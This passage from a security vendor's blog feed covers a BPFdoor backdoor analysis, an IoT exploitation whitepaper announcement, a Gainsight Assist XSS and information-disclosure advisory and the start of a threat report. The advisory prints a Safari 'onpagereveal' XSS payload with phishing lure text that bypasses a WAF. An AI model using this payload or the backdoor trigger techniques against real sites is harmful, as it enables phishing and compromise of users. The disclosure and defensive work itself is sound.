alt="bpfdoor-controller-weaponizes-ssl-termination-chart.png" caption="Figure 9: Overview of how the new sample communicates" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="bpfdoor-controller-weaponizes-ssl-termination-chart.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt500701fb86b66cc2/69c3fb57da444da18ef7ef2a/bpfdoor-controller-weaponizes-ssl-termination-chart.png" data-sys-asset-uid="blt500701fb86b66cc2" data-sys-asset-filename="bpfdoor-controller-weaponizes-ssl-termination-chart.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 9: Overview of how the new sample communicates" data-sys-asset-alt="bpfdoor-controller-weaponizes-ssl-termination-chart.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 9: Overview of how the new sample communicates</figcaption></div></figure><h3>Layer 7 camouflage and the “magic ruler”</h3><p style="direction: ltr;"><span style='font-size: undefined;'>To remain reliable across proxy layers, the attackers introduced a clever parsing mechanism. HTTP proxies often modify headers by inserting additional fields such as client IP addresses, timestamps, or routing metadata. These changes can shift the position of data within the request and break traditional signature-based triggers. To solve this problem, the attackers designed a mathematical padding scheme that ensures a specific marker, in the observed samples the string </span><span style='font-size: undefined;'><em>“9999”</em></span><span style='font-size: undefined;'>, always appears at a fixed byte offset within the request.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This is where the 26-byte or 40-byte “magic ruler” comes into play. Rather than parsing the entire HTTP header, which can vary depending on proxy behavior, the malware treats the request body as a predictable coordinate space. By carefully padding the HTTP request with filler bytes, the attacker ensures that the marker always lands exactly at the 26th byte offset of the inspected data structure. The implant simply checks this fixed position; if the marker appears at that byte location, it interprets the surrounding data as the activation command.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Because the header itself can fluctuate while the padded payload remains predictable, the malware does not need to understand or parse the full HTTP structure. Instead, it relies on this fixed “measurement point”, effectively using the 26-byte offset as a ruler inside the packet. This technique allows the trigger to survive proxy rewriting and header injection while still remaining hidden inside otherwise normal HTTPS traffic. The 26-byte rule is used in case of a socket creation with the “SOCK_DGRAM” flags, but in case of a “SOCK_RAW” flag, it will use a 40-byte ruler.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>In practice, this turns the messy, variable HTTP protocol into something the malware can treat like a fixed coordinate system, enabling what could be described as dynamic Layer-7 camouflage, a surprisingly simple but effective technique for hiding command triggers inside legitimate encrypted web traffic.</span></p><h4><span style='color:rgb(67, 67, 67);'>The RC4-MD5 paradox</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>Another interesting feature of the new controller is its continued use of the legacy RC4-MD5 encryption routine. While this combination is considered deprecated in modern cryptographic standards, it still appears in several malware samples. In this case, the RC4-MD5 implementation is not part of TLS, but rather a lightweight encryption layer applied to the interactive command-and-control channel after the backdoor is activated. RC4 provides extremely fast stream encryption suitable for interactive shells, introducing minimal latency during command execution. In addition, the use of older or non-standard encryption routines can sometimes confuse inspection systems, particularly when traffic does not follow typical protocol expectations. Finally, reuse of older cryptographic modules often reflects code lineage and operational efficiency, adversaries frequently recycle proven components across campaigns. In this case, code comparison revealed similarities with routines that have circulated in Chinese-nexus malware families such as RedXOR and PWNIX for several years.</span></p><h4><span style='color:rgb(67, 67, 67);'>ICMP control channel: “phone home”</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>While earlier BPFdoor variants focused primarily on covert activation, the new sample also introduces a lightweight communication mechanism built around Internet Control Message Protocol (ICMP). The code excerpt shows the malware preparing an ICMP payload and inserting a specific value  </span><span style='font-size: undefined;'><em>“0xFFFFFFFF”</em></span><span style='font-size: undefined;'>  into a field before transmitting the packet using a dedicated routine (</span><span style='font-size: undefined;'><em>send_ICMP_data</em></span><span style='font-size: undefined;'>). At first glance this appears trivial, but the logic reveals something more interesting: The ICMP packet is not just a signal back to the operator, it is also used as a control mechanism between compromised systems.</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5088507ce2a7ed38/69c3fba802cb98225b1d64ca/ICMP-tunneling-rapid7-labs-research-chart.png" alt="ICMP-tunneling-rapid7-labs-research-chart.png" caption="Figure 10: ICMP Tunneling" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="ICMP-tunneling-rapid7-labs-research-chart.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5088507ce2a7ed38/69c3fba802cb98225b1d64ca/ICMP-tunneling-rapid7-labs-research-chart.png" data-sys-asset-uid="blt5088507ce2a7ed38" data-sys-asset-filename="ICMP-tunneling-rapid7-labs-research-chart.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 10: ICMP Tunneling" data-sys-asset-alt="ICMP-tunneling-rapid7-labs-research-chart.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 10: ICMP Tunneling</figcaption></div></figure><p style="direction: ltr;">⠀</p><p><span style='font-size: undefined;'>In this model, ICMP functions as a minimal command channel between infected hosts. One compromised server can forward specially crafted ICMP packets to another, effectively passing along execution instructions without requiring traditional command-and-control traffic. The key marker in this mechanism is the value 0xFFFFFFFF (signed as -1), which acts as a destination signal embedded inside the packet structure. When a receiving host detects this value, it interprets the packet as a terminal instruction rather than something to be forwarded further.</span></p><p style="direction: ltr;"><span style='color:rgb(29, 28, 29);font-size: undefined;'>In practical terms, </span><span style='color:rgb(29, 28, 29);font-size: undefined;'><em>Server A is telling Server B: “You are the final destination.”</em></span><span style='color:rgb(29, 28, 29);font-size: undefined;'> Instead of relaying the signal onward, the receiving system executes the next stage, typically triggering the reverse shell or command handler. This simple signaling mechanism allows the operators to control how far a command propagates through compromised infrastructure without introducing additional protocol complexity.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>What makes this mechanism notable is its simplicity. Rather than expanding the structure of the activation packet or introducing additional fields, the attackers reuse an existing value within the packet structure to signal the end of the chain. By setting this field to 0xFFFFFFFF, they effectively create a “do not forward” flag inside their communication channel. This allows them to manage hop behavior across compromised nodes while keeping the packet format compact and consistent. </span></p><h2>Key takeaways</h2><p style="direction: ltr;"><span style='color:rgb(29, 28, 29);font-size: undefined;'>Taken together, the newly observed capabilities demonstrate how BPFdoor has evolved beyond a stealth backdoor into a layered access framework. The updated variant combines encrypted HTTPS triggers, proxy-aware command delivery, application-layer camouflage techniques, ICMP-based control signals, and kernel-level packet filtering to bypass multiple layers of modern network defenses. Each technique targets a different security boundary, from TLS inspection at the edge, to IDS detection in transit, and endpoint monitoring on the host, illustrating a deliberate effort to operate across the full defensive stack.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Kernel-level backdoors are redefining stealth.</strong></span><br/><span style='font-size: undefined;'>Tools like BPFdoor operate below traditional visibility layers, abusing Berkeley Packet Filter mechanisms to create network listeners that do not expose ports, processes, or conventional command-and-control indicators.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Telecommunications infrastructure is a prime espionage target.</strong></span><br/><span style='font-size: undefined;'>Modern 4G and 5G networks rely on complex stacks of signaling systems, Containerized Network Functions, and high-performance infrastructure. Access to these environments can enable long-term intelligence collection, subscriber monitoring, and deep visibility into national communications infrastructure.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Security controls can be turned into delivery mechanisms.</strong></span><br/><span style='font-size: undefined;'>In the latest BPFdoor variant, attackers weaponize normal security workflows. Traffic that passes through TLS termination and deep packet inspection can deliver malicious commands once it reaches the decrypted internal zone.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>BPF-based implants are likely the beginning of a larger trend.</strong></span><br/><span style='font-size: undefined;'>BPFdoor and new eBPF malware families like Symbiote demonstrate how kernel packet filtering can be abused for stealth persistence. As defenders improve visibility at higher layers, adversaries are increasingly shifting implants deeper into the operating system.</span></p><h2>How defenders can detect BPFdoor activity</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Detecting these threats requires shifting visibility deeper into the operating system and network stack, focusing on indicators such as unusual raw socket usage, anomalous packet filtering behavior, and unexpected service masquerading on critical infrastructure hosts. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>To support defenders in identifying potential BPFdoor activity, we developed a </span><a href="https://github.com/rapid7/Rapid7-Labs/blob/main/BPFDoor/README.md" target="_blank"><span style='font-size: undefined;'>scanning script</span></a><span style='font-size: undefined;'> designed to detect both previously documented variants and the newer samples discussed in this research. The script focuses on identifying indicators associated with the stealth activation mechanism, kernel-level packet filtering behavior, and process masquerading techniques used by BPFdoor implants. By combining checks for known artifacts and behavioral patterns, the scanner helps security teams quickly assess whether systems may be impacted.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>We are making this tool available to the community to assist organizations in proactively identifying potential compromises. The scanner can be used across Linux environments to search for artifacts linked to BPFdoor activity, including indicators observed in both historical samples and the latest variant analyzed during this research. Our goal is to help defenders rapidly validate exposure and begin incident response investigations where necessary.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>In the video below, </span><span style='color:rgb(29, 28, 29);font-size: undefined;'>Rapid7 Labs demonstrates how our detection script would be run within the system of an infected victim organization. The video starts with the right window, showing that the BPFdoor backdoor is running and the particular services that relate are highlighted. Then, in the bottom left screen, the BPFdoor is activated by sending the right packet sequence and password, whereby a remote control shell is established. The attacker is running some commands on the victim machine and shows it can execute remote commands. Finally, in the top window, we run our developed detection script that will show the detected processes, and the alerts are showcased.  </span></p><p>⠀</p><p>⠀</p><h2>Indicators of compromise (IOCs)</h2><p>The IOCs we discovered during our investigation surrounding the new controller, as well as samples and other relevant data, can be found on our <a href="https://github.com/rapid7/Rapid7-Labs/tree/main/BPFDoor" target="_blank">Rapid7 Labs Github page</a>.</p><h2>Interested in learning more?</h2><p>Catch <a href="https://www.brighttalk.com/webcast/10457/665136?utm_source=blog&amp;utm_medium=website&amp;utm_content=project-matrix&amp;utm_campaign=na-pla-q1-2026-global-webinar-prospect-eng" target="_blank">Sleeper Cells in the Telecom Backbone, Rapid7’s webinar</a> via BrightTalk, led by Raj Samani, Chief Scientist, and Christiaan Beek, VP of Threat Analytics.</p>]]></description>
      <link>https://www.rapid7.com/blog/post/tr-bpfdoor-telecom-networks-sleeper-cells-threat-research-report</link>
      <guid isPermaLink="false">blt02e8114202e02964</guid>
      <category><![CDATA[Research]]></category>
      <category><![CDATA[Labs]]></category>
      <category><![CDATA[Threat Intel]]></category><dc:creator><![CDATA[Rapid7 Labs]]></dc:creator>
      <pubDate>Thu, 26 Mar 2026 13:00:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb0f63eea90d6a4a4/69c401e47dde026107d319ac/rapid7-sleeper-cells-telecom-backbone-hero-version2.jpeg" medium="image" />
    </item>
    <item>
      <title><![CDATA[New Whitepaper: Exploiting Cellular-based IoT Devices]]></title>
      <description><![CDATA[<p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 has released a whitepaper titled “</span><a href="https://assets.contentstack.io/v3/assets/blte4f029e766e6b253/blt95b4209e7219242b/69c250ab4e28d1ba21ec448b/The_weaponization_of_cellular_based_iot_technology.pdf" target="_blank"><span style='font-size: undefined;'>The Weaponization of Cellular Based IoT Technology</span></a><span style='font-size: undefined;'>,” by Deral Heiland, principal security researcher, IoT, at Rapid7, and Carlota Bindner, lead product security researcher at Thermo Fisher Scientific. The paper examines how attackers with physical access can exploit cellular modules in Internet of Things (IoT) devices to move into cloud and backend environments, exfiltrate data, and conceal command channels within expected device traffic. Heiland </span><a href="https://path.rsaconference.com/flow/rsac/us26/FullAgenda/page/catalog/session/1755402086556001fcjs" target="_blank"><span style='font-size: undefined;'>presented their findings</span></a><span style='font-size: undefined;'> at the RSAC 2026 conference in San Francisco.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The research focuses on how these attacks work in practice. It details how interchip communications such as USB and universal asynchronous receiver-transmitter (UART) can be observed and manipulated. It also shows how hardware modifications can replace a device host, allowing an external system to assume control of the cellular module. The authors developed proof-of-concept tools, including a TCP port scanner using AT commands, an S3 bucket enumerator, a SOCKS5 proxy that routes traffic through the cellular module, and a Metasploit proxy module. These examples demonstrate how attackers can take advantage of trusted relationships between devices and connected services.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The findings highlight consistent risks across tested devices. Cellular modules often expose multiple interfaces, and unused UART or USB paths can provide direct access. With targeted printed circuit board modifications, an attacker can reroute traffic through the cellular interface. Many modules accept AT commands that support raw sockets, HTTP requests, and TCP tunnels, which can enable reconnaissance and lateral movement. All cellular devices the researchers examined lacked tamper protections and most did not encrypt sensitive data before transmission, increasing exposure in environments that use private access point names (APNs).</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Organizations should treat cellular-enabled devices as privileged entry points into their networks as well as their critical data storage and management environments. This includes disabling or removing unused interchip interfaces, enforcing end-to-end encryption before data is transmitted through the cellular modules, and applying monitoring and outbound controls within APN architectures. Hardware-level security testing should be part of standard product security practices.To read the whitepaper, click </span><a href="https://assets.contentstack.io/v3/assets/blte4f029e766e6b253/blt95b4209e7219242b/69c250ab4e28d1ba21ec448b/The_weaponization_of_cellular_based_iot_technology.pdf"><span style='font-size: undefined;'>here</span></a><span style='font-size: undefined;'>.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/tr-new-whitepaper-exploiting-cellular-based-iot-devices</link>
      <guid isPermaLink="false">blt2969964b3a9c8018</guid>
      <category><![CDATA[IoT]]></category>
      <category><![CDATA[Research]]></category><dc:creator><![CDATA[Deral Heiland]]></dc:creator>
      <pubDate>Tue, 24 Mar 2026 20:00:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd78a3d2830e0c480/69c28872f50d05df4f343219/rapid7-weaponization-cellular-based-iot-technology-whitepaper.jpeg" medium="image" />
    </item>
    <item>
      <title><![CDATA[CVE-2026-31381, CVE-2026-31382: Gainsight Assist Information Disclosure and Cross-Site Scripting (FIXED)]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 Labs recently identified a chain of security vulnerabilities in the Gainsight Assist plugin and its interactions with the associated domain </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>app.gainsight.com</span></span><span style='font-size: undefined;'>. These vulnerabilities include an Information Disclosure flaw (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-31381" target="_blank"><span style='font-size: undefined;'>CVE-2026-31381</span></a><span style='font-size: undefined;'>) and a Reflected Cross-Site Scripting (XSS) vulnerability (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-31382" target="_blank"><span style='font-size: undefined;'>CVE-2026-31382</span></a><span style='font-size: undefined;'>). By chaining these vulnerabilities, an attacker can move from passive information gathering to active client-side exploitation.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The XSS vulnerability was remediated by Gainsight via a server side code-level fix on March 6, 2026. A patched update to the Chrome and Outlook plugins to remediate the Information Disclosure were released on March 9, 2026.</span></p><h2 style="direction: ltr;">Product description</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Gainsight Assist is a plugin that allows users to access Gainsight email templates and easily sync inbound and outbound emails to the Timeline within the Gainsight Customer Success (CS) product directly from their email platform.</span></p><h2 style="direction: ltr;">Credit</h2><p style="direction: ltr;"><span style='font-size: undefined;'>These vulnerabilities were discovered and reported to the Gainsight team by Christopher O’Boyle, Cybersecurity Advisor at Rapid7. The vulnerabilities are being disclosed in accordance with Rapid7's </span><a href="https://www.rapid7.com/security/disclosure/" target="_blank"><span style='font-size: undefined;'>vulnerability disclosure policy</span></a><span style='font-size: undefined;'>. Rapid7 is grateful to the Gainsight team for their assistance and collaboration.</span></p><h2 style="direction: ltr;">Vulnerability details</h2><table><colgroup data-width='750'><col style="width:12.199036918138043%"/><col style="width:72.71268057784911%"/><col style="width:15.08828250401284%"/></colgroup><tbody><tr><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>CVE</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>Description</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>CVSS</strong></span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-31381" target="_blank"><span style='font-size: undefined;'>CVE-2026-31381</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Information Disclosure: An attacker can extract user email addresses (PII) exposed in base64 encoding via the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>state</span><span style='font-size: undefined;'> parameter in the OAuth callback URL.</span></p></td><td><p style="direction: ltr;"><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" target="_blank"><span style='font-size: undefined;'>5.3 (Medium)</span></a></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-31382" target="_blank"><span style='font-size: undefined;'>CVE-2026-31382</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Reflected XSS / HTML Injection: The </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>error_description</span></span><span style='font-size: undefined;'> parameter is vulnerable to Reflected XSS. An attacker can bypass the domain's WAF using a Safari-specific </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>onpagereveal</span></span><span style='font-size: undefined;'> payload.</span></p></td><td><p style="direction: ltr;"><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:L" target="_blank"><span style='font-size: undefined;'>6.1 (Medium)</span></a></p></td></tr></tbody></table><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The testing target was the Gainsight Assist plugin and its interactions with the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>app.gainsight.com</span></span><span style='font-size: undefined;'> domain, used as a callback mechanism that processes authentication data and error descriptions following user login attempts.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>CVE-2026-31381: Information disclosure</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>During testing involving Salesforce and Okta authentication channels, an OAuth callback flow failure was observed. The resulting error message exposed the user's email address (PII) within a Base64 encoded </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>state</span></span><span style='font-size: undefined;'> parameter in the URL. Because Base64 is merely obfuscation and not encryption, these email addresses can be easily harvested from server logs, proxies, or browser history by third parties.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>CVE-2026-31382: Reflected XSS and HTML injection</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The Gainsight callback URL contained an </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>error_description</span></span><span style='font-size: undefined;'> parameter that was found to be vulnerable to content spoofing and HTML Injection. While Gainsight employs a Web Application Firewall (WAF) that successfully blocks most standard JavaScript execution, Rapid7 researchers bypassed this protection using a browser-specific payload targeting Safari’s </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>onpagereveal</span></span><span style='font-size: undefined;'> event.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>When the victim opens the malicious URL in Safari, the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>onpagereveal</span></span><span style='font-size: undefined;'> payload executes automatically without further user interaction. By injecting HTML content and spoofing the error page, an attacker can create a legitimate-looking prompt instructing the user to switch to a Safari browser to ensure the payload fires.</span></p><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'></span></p><pre language="html">&lt;body onpagereveal=open("https://www.rapid7.com")&gt;
We have detected a browser compatibility issue for 
this step, this can only be completed on Safari &lt;br&gt;&lt;br&gt;
Please copy the URL from the address bar above and 
paste it in a Safari browser...</pre><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><em>Figure 1: Example of the injected HTML payload instructing the user to utilize Safari.</em></span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Chaining for Impact</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>When combined, these vulnerabilities create a high-impact attack path:</span></p><ol><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Target identification:</strong></span><span style='font-size: undefined;'> </span>The login error page includes the user’s attempted login email address in a Base64-encoded state parameter in the URL. Anyone with visibility into that URL (e.g., via the browser address bar, existing access to internal logs, or XSS on that page) can decode the state value to recover the email address. The vulnerability pertains to the data included in the URL rather than granting access to logs or history.</p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Luring the victim:</strong></span><span style='font-size: undefined;'> Using HTML injection on the trusted </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>app.gainsight.com</span></span><span style='font-size: undefined;'> domain, the attacker crafts a highly convincing phishing link to send to the targeted user.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>XSS execution:</strong></span><span style='font-size: undefined;'> Once the victim opens the link in Safari, the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>onpagereveal</span></span><span style='font-size: undefined;'> payload executes. Because the payload can recursively call the exact same URL, it can cause an infinite loop leading to client-side resource exhaustion, log flooding, or the delivery of malware.</span></p></li></ol><h2 style="direction: ltr;">Vendor statement</h2><p style="direction: ltr;"><span style='font-size: undefined;'>"Gainsight values the work of the security research community and appreciates Rapid7's collaboration. We have fully remediated the identified vulnerabilities through a platform-wide update that strengthens our input validation and WAF configurations. Our forensic investigation found no evidence of exploitation or impact to customer data. We continue to prioritize transparency and supporting our customers to build a more resilient and secure community together. "</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>As of March 6, 2026, Gainsight has implemented a code-level fix to remediate these findings. Customers should ensure they are utilizing the latest version of the Gainsight Assist plugin.</span></p><h2 style="direction: ltr;">Disclosure timeline</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>January 30, 2026:</strong></span><span style='font-size: undefined;'> Rapid7 makes initial outreach to Gainsight.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>February 1, 2026:</strong></span><span style='font-size: undefined;'> Gainsight confirms outreach and requests details. Rapid7 provides vulnerability details.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>February 11, 2026:</strong></span><span style='font-size: undefined;'> Gainsight confirms receipt, states that the vulnerability has been reproduced, and acknowledges that triage has begun.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>March 5, 2026:</strong></span><span style='font-size: undefined;'> Gainsight and Rapid7 meet to discuss agreed impact, remediation, and next steps.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>March 6, 2026: </strong></span><span style='font-size: undefined;'>Gainsight implements a server-side, code-level fix to remediate the XSS issue.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>March 9, 2026: </strong></span><span style='font-size: undefined;'>Gainsight implements an update to the Chrome and Outlook plugins for the information disclosure vulnerability.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>March 12, 2026: </strong></span><span style='font-size: undefined;'>Gainsight requests disclosure date of March 20, 2026.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>March 13, 2026: </strong></span><span style='font-size: undefined;'>Rapid7 accepts the disclosure date of March 20, 2026.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>March 20, 2026:</strong></span><span style='font-size: undefined;'> This disclosure.</span></p></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/ve-cve-2026-31381-cve-2026-31382-gainsight-assist-information-disclosure-xss-fixed</link>
      <guid isPermaLink="false">blt34409230495ee6fb</guid>
      <category><![CDATA[Research]]></category>
      <category><![CDATA[Vulnerability Disclosure]]></category><dc:creator><![CDATA[Christopher O’Boyle]]></dc:creator>
      <pubDate>Fri, 20 Mar 2026 13:00:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
    </item>
    <item>
      <title><![CDATA[The Attack Cycle is Accelerating: Announcing the Rapid7 2026 Global Threat Landscape Report]]></title>
      <description><![CDATA[<p>The predictive window has collapsed. </p><p>In 2025, high-impact vulnerabilities weren’t quietly accumulating risk. They were operationalized, and often within days.</p><p style="direction: ltr;"><span style='font-size: undefined;'>Today, Rapid7 Labs released the </span><a href="https://www.rapid7.com/research/report/global-threat-landscape-report-2026/" target="_blank"><span style='font-size: undefined;'>2026 Global Threat Landscape Report</span></a><span style='font-size: undefined;'>, an in-depth analysis of how attacker behavior is evolving across vulnerability exploitation, ransomware operations, identity abuse, and AI-driven tradecraft. The data shows a clear pattern: exposure is being identified and weaponized faster than most organizations are set up to defend.</span></p><h2 style="direction: ltr;">From disclosure to exploitation in days, not weeks</h2><p style="direction: ltr;"><span style='font-size: undefined;'>In 2025, confirmed exploitation of newly disclosed CVSS 7–10 vulnerabilities increased 105% year over year, rising from 71 to 146. The median time from publication to inclusion in CISA’s Known Exploited Vulnerabilities list fell from 8.5 days to 5.0 days.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>At the same time, the number of high-probability vulnerabilities that remained unexploited dropped sharply. The buffer that once allowed teams to triage and schedule remediation is shrinking to the point where some severe flaws were seen to have been exploited almost immediately.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The broader trend is unmistakable: vulnerability management programs built around reactive remediation cycles are struggling to keep pace with adversaries operating at machine speed.</span></p><h2 style="direction: ltr;">Cybercrime as a structured market</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Cybercrime in 2025 no longer resembles chaotic hacking. It resembles platform capitalism.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The report highlights how the underground economy now mirrors legitimate SaaS ecosystems. Initial Access Brokers obtain and validate network footholds. Ransomware operators focus on encryption and extortion. Infostealer operators sell subscription-style access to fresh credential logs.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This specialization lowers barriers to entry and increases scale creating a supply chain in which access is acquired, packaged, priced, and sold to anyone who wants it. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Ransomware is a good example of this business maturity. It was present in 42% of Rapid7 MDR investigations in 2025 with leak posts increasing 46.4% year over year, and the number of active groups growing from 102 to 140. That kind of growth is anything but random or coincidental: it is an indication of systemic changes to the ransomware ecosystem indicating growing sophistication, specialization, and, ultimately, risk. </span></p><h2 style="direction: ltr;">Logging in, not breaking in</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Authentication-based attacks remain incredibly common as the lack of consistency across organizations can lead to easy exploitation. Valid accounts without multi-factor authentication (MFA) were responsible for 43.9% of incidents over that year. Rather than forcing their way past defenses, attackers increasingly authenticate with stolen credentials, hijacked sessions, or abused tokens. This is where the increase in AI-driven attacks is particularly acute with the benefits generative AI can play in improving the maturity and sophistication of social engineering attacks. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>As enterprises extend trust across cloud platforms, SaaS ecosystems, APIs, and remote work environments, authentication systems have become the backbone of operational control. This represents a structural shift with the control layer of cyber risk moving away from network perimeters toward authentication flows.</span></p><h2 style="direction: ltr;">Attacks are using reliable vectors, just at alarming speeds</h2><p style="direction: ltr;"><span style='font-size: undefined;'>One hallmark of the attack landscape in 2025 was the use of tried and true attack vectors rather than novel exploits and zero-day vulnerabilities. CVE disclosures continued to climb last year, but confirmed exploitation clustered around dependable weakness types like deserialization, authentication bypass, and memory corruption vulnerabilities.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Attackers are targeting flaws that enable pre-authentication access, repeatable execution, and rapid data theft. They are not, necessarily, chasing every vulnerability. Just the ones they deem reliable. This pattern reinforces a key theme of the report: exploitability and context matter more than raw volume.</span></p><h2 style="direction: ltr;">AI as an accelerant</h2><p style="direction: ltr;"><span style='font-size: undefined;'>AI is serving as a force multiplier and an expanding attack surface at the same time. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Generative AI is accelerating established attack methods by reducing the time, skill, and coordination previously required to execute them at scale. Rather than introducing entirely new categories of exploitation, threat actors are integrating AI into existing workflows to industrialize phishing, automate reconnaissance, and refine malicious scripts with greater speed and precision. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>AI-assisted phishing campaigns were more polished and tailored to specific industries or executive roles, reflecting a measurable improvement in personalization and believability. They accelerated open-source intelligence collection to create details from fragmented data. AI was used to troubleshoot malware development in near real time, effectively compressing the cycle between initial research and malware deployment. The result is not radical technical innovation, but efficiency, speed, and fewer missed opportunities. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Meanwhile, AI platforms themselves are emerging as targets with model servers, orchestration frameworks, and token-based integrations, inheriting familiar weaknesses such as unsafe deserialization and weak authentication. As organizations operationalize AI quickly, governance gaps create new high-impact pathways to risk.</span></p><h2 style="direction: ltr;">The geography of attacks</h2><p style="direction: ltr;"><span style='font-size: undefined;'>When it comes to targeted regions, no area of the globe represents a better convergence of exposure and financial opportunity than North America. Organizations on this continent accounted for 82.04% of observed incidents, with the United States representing roughly 70% of leak posts on ransomware leak sites. Manufacturing, business services, and retail were among the most targeted industries as these sectors often combine operational dependence, sensitive data, and financial leverage making them fat targets for attackers looking for reliability not only in their attack vectors, but in gains available from their chosen targets. </span></p><p style="direction: 